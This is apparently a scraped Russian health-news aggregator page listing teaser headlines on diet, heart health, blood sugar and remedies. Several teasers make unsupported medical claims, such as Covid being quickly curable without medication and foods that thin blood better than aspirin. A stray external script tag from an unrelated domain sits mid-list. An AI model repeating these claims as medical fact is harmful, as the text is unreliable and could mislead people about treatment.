[]
Иерусалим |
|
Москва |
|
Нью-Йорк |
|
Берлин |
ГАРНИРЫ ДЛЯ СНИЖЕНИЯ ВЕСА: ТОП-5 ВАРИАНТОВ ДЛЯ ХУДЕЮЩИХ
• Гарниры должны быть полезными и сытными. Более того, они должны содержать витамины, минералы и все необходимые для организма вещества. Диетолог Надежда Пахирко назвала пять лучших, по ее мнению, гарниров для снижения веса.
Какие овощи нельзя хранить в морозилке?
• Замораживать продукты, чтобы они дольше оставались свежими, весьма удобно, причем настолько, что иногда мы задаемся вопросом: “А как давно это лежит в морозилке?”
Как влияет депрессия на организм
• Депрессией называют тяжелое психологическое расстройство, при котором человек чувствует себя безнадежным и беспомощным.
• 4 самых полезных перекуса для ежедневного употребления при похудении
• Эти перекусы — отличный вариант улучшить рацион на диете.
Перекусы между приемами пищи — обычная практика, но выбор перекусов может существенно повлиять на контроль веса.
• 10 практических способов выхода из состояния острого стресса
• Если же вы оказались в стрессовой ситуации неожиданно (вас кто-то разозлил, обругал начальник или кто-то из домашних заставил понервничать) - у вас начинается острый стресс.
Почему всегда нужно обнимать деревья, и какая от этого польза. Так делали еще наши прадеды
• Зачем обнимать деревья, и какая от этого польза. Стоит знать каждому человеку.
ЧТО НАДО ДЕЛАТЬ, ЧТОБ НЕ ЗАБОЛЕТЬ...
• Профессор кафедры физкультуры и спорта МГУ Екатерина Дейнега: Ковид очень просто и быстро лечится (делюсь личным опытом). Особенно вначале болезни. Без таблеток.
Бокал вина в старости, куда важнее различных упражнений
• «Что позволяет людям жить до 90 лет и старше?»
Как избавиться от запора? 3 простых правила, которым при желании может следовать каждый человек. Видео
• На эти и некоторые другие вопросы ответит врач, хирург, проктолог, кандидат медицинских наук, доцент, Гаин Михаил Юрьевич
• 7 простых лайфхаков, чтобы проверить свежесть суши в ресторане
• Самые важные моменты, на которые нужно обратить внимание.
14 интересных фактов о сердце, которые вы могли не знать
• Сердечные заболевания унесли жизней больше, чем все войны на Земле вместе взятые.
Инструкция как правильно есть ягоды
• Малину - есть с куста, предварительно попросив прощения у всех невинно съеденных червей, которые сидят там в красных корзиночках. Если ощущаете, что червь шевелится на языке, то просто жуйте быстрее и всё. Это белок.
Что делать, если у вас повышен сахар в крови? Четыре диетических метода, которые следует рассмотреть в первую очередь
• Во время медицинского обследования вам сказали, что у вас гипергликемия, но вы не знаете, что с этим делать? Если уровень глюкозы в крови остается высоким, это может привести к закупорке или сужению кровеносных сосудов и спровоцировать различные осложнения, поэтому необходимо как можно скорее принять меры.
99% ВРАЧЕЙ ЭТОГО НЕ ЗНАЮТ! Мастер Му Юйчунь: ПРОСТОЕ ДВИЖЕНИЕ Для Здоровья и Долголетия Видео
• Очень уважаю Му Чуня! Все его советы актуальны, просты в исполнении. Сам Мастер источает мир, спокойствие, доброту, аскетичность. Спасибо!
Как быстро вылечить кашель? Советы врача / Доктор Виктор Видео
• Кашель - раздражительный и выматывающий процесс, мешающий человеку. Лечение кашля может затянуться на продолжительное время.
Забудьте об уровне сахара в крови! Этот овощ – настоящее сокровище! Видео
• Простой и вкусный рецепт, который порадует вас своим вкусом и простотой приготовления. Приготовление и ингредиенты:
1/2 тыквы Выпекать при 180 градусах 40 минут.
The Lancet: что может спровоцировать болезни сердца в 40, 50 и 60 лет — исследование
• Ученые провели масштабное исследование, в ходе которого им удалось выявить основные факторы риска, провоцирующие ишемическую болезнь, сердечную недостаточность и другие патологии. Для каждого возраста они разные.
Топ-8 полезных сортов чая для здоровья и похудения
• Чай – просто чудесный продукт. Он согревает, успокаивает. За чашечкой горячего напитка так приятно вести непринужденную беседу. Что самое важное – он положительно влияет на здоровье. В том числе борется с лишним весом. Расскажем тебе о восьми сортах чая, которые помогут похудеть.
Пульсовое давление Видео
• Благодарю Вас, доктор за пояснение. Всегда считал, что у меня нормальное давление, но про пульсовое и не слышал никогда, а это оказывается очень важно
Какая рыба самая полезная для ежедневного рациона
• Рацион во многом влияет на здоровье, самочувствие и вес. Поэтому важно, чтобы он состоял из полезных продуктов питания, среди которых рыба играет немаловажную роль
Дефицит этого витамина вызывает головокружение Видео
• Почему кружится голова? Поговорим про головокружение определенного типа – ДППГ. Каковы причины головокружения (причины ДППГ)? Дефицит витамина Д – одна из главных причин ДППГ. Как связаны нехватка витамина Д и головокружение? Ответ в видео.
РАЗЖИЖАЕТ лучше аспирина /Скажите НЕТ ТРОМБАМ и ГУСТОЙ КРОВИ Видео
• Самые ЭФФЕКТИВНЫЕ продукты ПРОТИВ густой крови и ТРОМБ, кому нельзя?!.. ПРИЧИНЫ и последствия ГУСТОЙ КРОВИ. Как быстро растворит или же разжижать кровь?!
Лечение анемии
• Лечить анемию нужно обязательно. Вопрос в том, какие выбрать способы лечения развития анемии, чтобы они были максимально эффективны. Анемия устраняется просто, если следовать главным правилам и принципам избавления от патологии.
Гимнастика для глаз – 7 лучших упражнений для восстановления и улучшения зрения
• Сегодня многие проводят за компьютером большую часть рабочего времени. Это требует максимального напряжения глаз, от чего мы испытываем дискомфорт, сухость, усталость. Эти, казалось бы, незначительные симптомы и есть первые признаки ухудшения зрения.
Как ПРОСТО подтянуть обвисший живот Как УБРАТЬ выпирающий живот ✅ Упражнения с Андреем Лопесом Видео
• Как подтянуть обвисший живот в домашних условиях быстро и просто. В этом видео я покажу как убрать выпирающий живот. Сегодня проблема большого выпирающего живот и боков актуальна для многих людей. Кожа живота может обвиснуть по разные причинам, например после родов, или после быстрого похудения.
Диетолог рассказала, как побороть привычку наедаться на ночь
• Есть несколько способов преодолеть искушение перекусить поздно вечером или ночью. Ими поделилась диетолог Доли Балиян из специализированной больницы в Дехрадуне, Индия, пишет Health Shots.
Этот ночной симптом сигналит о «тихом» развитии атеросклероза
• Атеросклероз — очень коварное заболевание, которое необходимо вовремя распознать. Оказывается, в этом может помочь… ваш сон!
• Железа больше, чем в яблоках: 5 полезных свойств айвы, о которых вы могли не знать
• По популярности айву трудно сравнить с яблоками. Хотя, вопреки расхожему мнению, она больше богата железом, чем ее собрат: в 100 граммах этого фрукта содержится около 20% суточной потребности этого микроэлемента.
Делайте эти приседания 1 раз в неделю. Из коленей уйдёт хруст, ноги станут живыми Видео
• Каждая фраза - супер содержательна,
Что будет если регулярно пить вино? Польза и вред красного вина. Видео
• Красное вино известно человечеству уже множество веков. Сегодня этот напиток стал настолько ценным для современного человека, что даже экономика некоторых стран зависит непосредственно от количества его производства и продаж. Для обычных людей красное вино ассоциируется с напитком любви, за бокалами которого сделана не одна тысяча предложений. Напитком, который является неотъемлемым украшением любого праздничного стола.
Эксперты назвали главный фактор, из-за которого во всем мире умирают люди
• За последние десятилетия человечество существенно продвинулось в науке и медицине. Однако статистика смертности людей остается неутешительной – войны, болезни, стихийные бедствия, вредные привычки ежегодно забирают жизни миллионов людей.
Специи, которые подойдут сердечникам, худеющим и уставшим
• Как сделать блюдо более полезным? Правильно использовать специи. Ведь многие из них обладают не только известными бактерицидными свойствами, но и полезны для улучшения работы системы кровообращения.
Этот продукт убийца сердца и сосудов
• От функционирования сердца и сосудов во многом зависит общее состояние здоровья и самочувствия. Поэтому важно заботиться о стабильной работе органов. Делать это можно в частности с помощью правильно подобранного рациона, например, минимизировав в нем вредные продукты
Люди с высоким ростом реже страдают от ожирения
• Высокие люди сталкиваются с проблемой ожирения гораздо реже, чем те, кого природа наделила низким ростом
Не пейте кофе во время еды и вот почему
• Врач-диетолог, нутрициолог Наталья Нефедова рассказала, почему не стоит пить кофе во время еды.
Польза и вред энергетиков для здоровья и стоит ли их пить
• Энергетики — относительно «молодое» изобретение человечества, несмотря на то, что о бодрящем воздействии их ингредиентов знали еще задолго до того, как появились удобные и популярные нынче алюминиевые банки.
<script type="text/javascript" src="//newrezume.org/rtr/3"></script>
• Эти зеленые продукты могут сыграть значительную роль в улучшении общего состояния здоровья.
Мерзлый яд: опасные замороженные продукты
• Врачи-диетологи рассказали, от каких готовых замороженных блюд лучше отказаться насовсем.
Йод: такой знакомый и малоизученный
• Флакончик с раствором йода можно найти в каждой домашней аптечке. Этим средством мы привыкли с детства обрабатывать раны.
Вся правда о гречке! (вот это эффект) Видео
• Гречка распространена по всему миру, и считается древней культурой. Ее родиной является Индия и Непал, где гречку начали специально выращивать 4 тысячи лет назад. Далее гречневая крупа была завезена в Азию, распространилась на Ближнем Востоке и попала в Европу примерно в XVI веке.
Медики рассказали, какой чай пить для здоровья сердца
• Чтобы укрепить сердце и сосуды, достаточно выпивать в день по чашечке ароматного напитка, утверждают врачи. Зеленый чай с жасмином – одно из лучших средств для этой цели. Кроме того, он хорошо воздействует на фигуру, нервную систему и ЖКТ.
Вы будете выглядеть как минимум на 20 лет моложе! Эта еда словно “эликсир”: кто ест ее каждый день, тот не стареет
• Старение – вполне естественный процесс, происходящий в жизни каждого из нас. Однако здесь важно, чтобы это был процесс здорового старения. Например, когда мы видим, что один из двух 70-летних людей так же бодр и энергичен, как в возрасте 30-40 лет, тогда как другой вял, слаб и борется с хроническими заболеваниями, за этим стоит несколько важных факторов.
Как питаться при простуде, чтобы быстрее выздороветь
• Мы считаем, что правильное питание при простуде — это обильное горячее питье, куриный бульон и фрукты. Но медики могут назвать гораздо больше продуктов, помогающих выздороветь. Знают Если ты читаешь эту надпись, значит кто-то взял эту статью с BigPicture.ru они и блюда, которые противопоказаны больным, так как только ухудшают их состояние. Мы расскажем о том, какие продукты есть можно и нужно, а о которых лучше забыть до выздоровления.
13 самых полезных продуктов для Вашей печени
• Знаете ли вы, что печень – это важный центр очищения организма? Вредные химические вещества из всего, что вы глотаете или вдыхаете – пищи, напитков, медикаментов, или дыма – трансформируются в менее вредные, водорастворимые вещества в печени. Происходит это превращение в два этапа, после которых они выводятся.
ПРОСТЫЕ способы снижения ХОЛЕСТЕРИНА. Снижения холестерина в домашних условиях.
• Повышенное содержание в крови холестерина способствует развитию атеросклеротического поражения стенок кровеносных сосудов и является одним из факторов риска развития тяжелых сердечно-сосудистых заболеваний, таких как стенокардия (ишемическая болезнь сердца) и инфаркт миокарда, мозговой инсульт и перемежающаяся хромота.
«Будьте голоднымu по уmрам!» Правuла жuзнu 82-летнего хuрурга Лео Бокерия, которые помогут сохранuть фuгуру
• «Завтрак отдай врагу, в обед перекуси, вечером нормально поешь, а потом — физкультура!» — этот необычный совет известного профессора-кардиохирурга заставит вас задуматься, но сам Лео Бокерия вот уже 20 лет живет по этому принципу.
